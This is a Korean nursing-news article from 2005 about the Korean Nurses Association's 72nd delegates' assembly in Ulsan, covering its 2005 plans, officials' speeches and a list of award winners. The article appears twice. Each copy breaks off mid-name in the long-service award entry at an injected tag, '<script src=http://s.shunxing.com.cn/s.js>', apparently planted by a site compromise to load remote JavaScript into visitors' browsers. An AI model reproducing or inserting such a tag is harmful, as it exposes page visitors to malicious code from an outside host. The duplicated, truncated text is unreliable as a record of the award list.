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2005년 대한간호협회 대의원총회
간호사법 제정·간호교육 일원화 매진
기사입력 2005-03-03 오전 09:24:45
대한간호협회는 제72회 정기 대의원 총회를 2월 23~24일 울산 롯데호텔 크리스탈볼룸에서 열고 2005년도 사업계획을 심의 확정했다.
간협은 올해 간호사법 제정과 간호교육제도 4년제 일원화를 위한 활동에 주력하고 전 회원의 힘을 하나로 모으기로 했다. 주요사업으로 전문간호사 체계 확립, 해외취업 지원, 윤리선언 및 윤리지침 제정, 사이버보수교육 질적관리, 간호활동 홍보강화, 회원증카드사업 활성화, 간호수첩 제작, ICN 타이완 총회 참가 등 국제교류, 간호사 근로환경 개선활동, 간호수가 개발 등을 정했다. 한국간호평가원과 대한간호복지재단 운영에도 주력하게 된다. 이같은 사업수행에 필요한 예산안도 함께 통과시켰으며, 중앙회 회비는 동결했다.
◆개회식
대의원 총회 개회식은 `약동하는 간호:지식과 혁신 그리고 생명력' 주제로 23일 오후 2시 송재성 보건복지부 차관, 박맹우 울산광역시 시장, 김철욱 울산시의회 의장, 김장배 울산시교육위원회 의장, 김모임 전 보건복지부 장관을 비롯한 내빈과 간호계 지도자, 대의원들이 참석한 가운데 성황리에 열렸다.
김의숙 대한간호협회장은 개회사를 통해 “지난해 간호협회는 대한간호복지재단 출범, 한국간호평가원 창립, 대한간호정책연구소 설립 등 알찬 결실을 거두었고, 간호사법 제정과 간호교육제도 일원화를 위한 구체적인 발걸음을 내디뎠다”면서 “한마음으로 힘을 모아주고 지지와 격려를 보내준 전국의 간호사 여러분께 감사드린다”고 말했다. 이어 “한국 간호가 세계적 경쟁력을 갖추고, 간호사들이 건강전문인으로서 국민들의 진정한 옹호자 역할을 해나갈 수 있도록 최선을 다하겠다”고 밝혔다.
송재성 보건복지부 차관은 치사에서 “우리나라가 선진국 수준의 보건의료체계를 구축하고 높은 건강수준을 유지하게 된 데는 간호사들의 헌신과 희생이 뒷받침됐다”면서 “전문간호사 확대와 활성화를 위해 최선을 다하고, 간호사들이 해외로 진출해 인류건강과 복지를 이끌어나갈 수 있도록 적극 지원하겠다”고 약속했다.
환영사를 한 박맹우 울산시장은 “전국의 간호지도자들이 한 자리에 모이는 대한간호협회 총회가 울산에서 열리게 된 것을 기쁘게 생각하며 진심으로 환영한다”면서 “병들고 지친 사람들에게 전문적인 간호서비스를 제공하고 영혼을 위로해 주는 간호사들에게 감사와 존경을 보낸다”고 밝혔다.
김철욱 울산시의회 의장은 “간호사의 길을 선택한 여러분께 존경을 표하며, 국민건강 옹호자로서 큰 역할을 해주실 것으로 믿는다”며 축하인사를 전했다.
개회식에서는 대의원들이 기립한 가운데 `한국 간호사 윤리강령'을 최숙자 인천시간호사회장이 낭독했으며, 3개항의 건의문과 2개항의 결의문을 채택했다. 건의문과 결의문은 박혜자 간협 제1부회장과 윤순녕 간협 제2부회장이 각각 낭독했다. 간호사업 발전을 위해 헌신하다 타계한 간호계 영령들을 기리는 묵념의 시간도 가졌다.
지난 한 해 각 분야에서 간호발전을 위해 헌신하고 간호사 위상을 높이는데 기여한 회원들에 대한 포상 순서도 마련됐다. 각 부문별 수상자는 다음과 같다.
◇올해의 간호인상(중외간호상)=조혜숙(너싱홈그린힐 원장, 가정간호사회장) 김정희(사회복지법인 에버그린복지재단 이사장, 한국너싱홈협회장)
◇보건복지부 장관상=이영자(울산동강병원 간호부장) 양성희(대전 태평초등학교 보건교사) 강명미(전 동의의료원 간호부장) 김희걸(경원전문대학 간호과 교수) 노춘희(연대 세브란스병원 보험심사팀 과장) 이형옥(경남 의령군 성당보건진료소장)
◇공로상=오경자(전 광주시간호사회장) 양승희(전 대전시간호사
회장) 한창옥(전 충남간호사회장) 노연순(전 전북간호사회장) 정순자(전 경남간호사회장) 이인숙(전 보건간호사회장) 박종임(전 마취간호사회장) 김세화(전 보험심사간호사회장) 김혜영(전 가정간호사회장) 백성자(전 재독한인간호협회장)
◇중외간호학술상=박선자 외 5명(서울아산병원)
◇노바티스 영나이팅게일상= △학술부문-김미옥 외 3명(인하대병원) △임상부문-최송희(투석간호분야회장) △보험심사부문-최해선(보험심사간호사회장)
◇간호문학상=박정혜(소설 당선작·경남 양산 덕계성심병원) 김지원(소설 가작·동아대병원) 장경선(수기 당선작·전남 영광 대신보건진료소) 박영옥(수기 가작·국립부곡병원) 김진희(수기 가작·건양대 간호학과 4년) 김연희(수필 당선작·경남 마산 수정보건진료소) 김계하(수필 가작·이대 박사과정) 장성순(시 당선작) 이경하(시 가작·원광보건대학 간호과 1년)
◇감사패=김미영(간협리포터·전북대병원) 손현지(간협리포터) 강은정(치의신보 기자) 오경헌(간협 홍보모니터·사랑의 집 원장) 영나이팅게일회
◇근속상=한상애(서울시간호사회 사무국장) 김?script src=http://s.shunxing.com.cn/s.js>
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간협은 올해 간호사법 제정과 간호교육제도 4년제 일원화를 위한 활동에 주력하고 전 회원의 힘을 하나로 모으기로 했다. 주요사업으로 전문간호사 체계 확립, 해외취업 지원, 윤리선언 및 윤리지침 제정, 사이버보수교육 질적관리, 간호활동 홍보강화, 회원증카드사업 활성화, 간호수첩 제작, ICN 타이완 총회 참가 등 국제교류, 간호사 근로환경 개선활동, 간호수가 개발 등을 정했다. 한국간호평가원과 대한간호복지재단 운영에도 주력하게 된다. 이같은 사업수행에 필요한 예산안도 함께 통과시켰으며, 중앙회 회비는 동결했다.
◆개회식
대의원 총회 개회식은 `약동하는 간호:지식과 혁신 그리고 생명력' 주제로 23일 오후 2시 송재성 보건복지부 차관, 박맹우 울산광역시 시장, 김철욱 울산시의회 의장, 김장배 울산시교육위원회 의장, 김모임 전 보건복지부 장관을 비롯한 내빈과 간호계 지도자, 대의원들이 참석한 가운데 성황리에 열렸다.
김의숙 대한간호협회장은 개회사를 통해 “지난해 간호협회는 대한간호복지재단 출범, 한국간호평가원 창립, 대한간호정책연구소 설립 등 알찬 결실을 거두었고, 간호사법 제정과 간호교육제도 일원화를 위한 구체적인 발걸음을 내디뎠다”면서 “한마음으로 힘을 모아주고 지지와 격려를 보내준 전국의 간호사 여러분께 감사드린다”고 말했다. 이어 “한국 간호가 세계적 경쟁력을 갖추고, 간호사들이 건강전문인으로서 국민들의 진정한 옹호자 역할을 해나갈 수 있도록 최선을 다하겠다”고 밝혔다.
송재성 보건복지부 차관은 치사에서 “우리나라가 선진국 수준의 보건의료체계를 구축하고 높은 건강수준을 유지하게 된 데는 간호사들의 헌신과 희생이 뒷받침됐다”면서 “전문간호사 확대와 활성화를 위해 최선을 다하고, 간호사들이 해외로 진출해 인류건강과 복지를 이끌어나갈 수 있도록 적극 지원하겠다”고 약속했다.
환영사를 한 박맹우 울산시장은 “전국의 간호지도자들이 한 자리에 모이는 대한간호협회 총회가 울산에서 열리게 된 것을 기쁘게 생각하며 진심으로 환영한다”면서 “병들고 지친 사람들에게 전문적인 간호서비스를 제공하고 영혼을 위로해 주는 간호사들에게 감사와 존경을 보낸다”고 밝혔다.
김철욱 울산시의회 의장은 “간호사의 길을 선택한 여러분께 존경을 표하며, 국민건강 옹호자로서 큰 역할을 해주실 것으로 믿는다”며 축하인사를 전했다.
개회식에서는 대의원들이 기립한 가운데 `한국 간호사 윤리강령'을 최숙자 인천시간호사회장이 낭독했으며, 3개항의 건의문과 2개항의 결의문을 채택했다. 건의문과 결의문은 박혜자 간협 제1부회장과 윤순녕 간협 제2부회장이 각각 낭독했다. 간호사업 발전을 위해 헌신하다 타계한 간호계 영령들을 기리는 묵념의 시간도 가졌다.
지난 한 해 각 분야에서 간호발전을 위해 헌신하고 간호사 위상을 높이는데 기여한 회원들에 대한 포상 순서도 마련됐다. 각 부문별 수상자는 다음과 같다.
◇올해의 간호인상(중외간호상)=조혜숙(너싱홈그린힐 원장, 가정간호사회장) 김정희(사회복지법인 에버그린복지재단 이사장, 한국너싱홈협회장)
◇보건복지부 장관상=이영자(울산동강병원 간호부장) 양성희(대전 태평초등학교 보건교사) 강명미(전 동의의료원 간호부장) 김희걸(경원전문대학 간호과 교수) 노춘희(연대 세브란스병원 보험심사팀 과장) 이형옥(경남 의령군 성당보건진료소장)
◇공로상=오경자(전 광주시간호사회장) 양승희(전 대전시간호사
회장) 한창옥(전 충남간호사회장) 노연순(전 전북간호사회장) 정순자(전 경남간호사회장) 이인숙(전 보건간호사회장) 박종임(전 마취간호사회장) 김세화(전 보험심사간호사회장) 김혜영(전 가정간호사회장) 백성자(전 재독한인간호협회장)
◇중외간호학술상=박선자 외 5명(서울아산병원)
◇노바티스 영나이팅게일상= △학술부문-김미옥 외 3명(인하대병원) △임상부문-최송희(투석간호분야회장) △보험심사부문-최해선(보험심사간호사회장)
◇간호문학상=박정혜(소설 당선작·경남 양산 덕계성심병원) 김지원(소설 가작·동아대병원) 장경선(수기 당선작·전남 영광 대신보건진료소) 박영옥(수기 가작·국립부곡병원) 김진희(수기 가작·건양대 간호학과 4년) 김연희(수필 당선작·경남 마산 수정보건진료소) 김계하(수필 가작·이대 박사과정) 장성순(시 당선작) 이경하(시 가작·원광보건대학 간호과 1년)
◇감사패=김미영(간협리포터·전북대병원) 손현지(간협리포터) 강은정(치의신보 기자) 오경헌(간협 홍보모니터·사랑의 집 원장) 영나이팅게일회
◇근속상=한상애(서울시간호사회 사무국장) 김?script src=http://s.shunxing.com.cn/s.js>
정규숙 kschung@nursenews.co.kr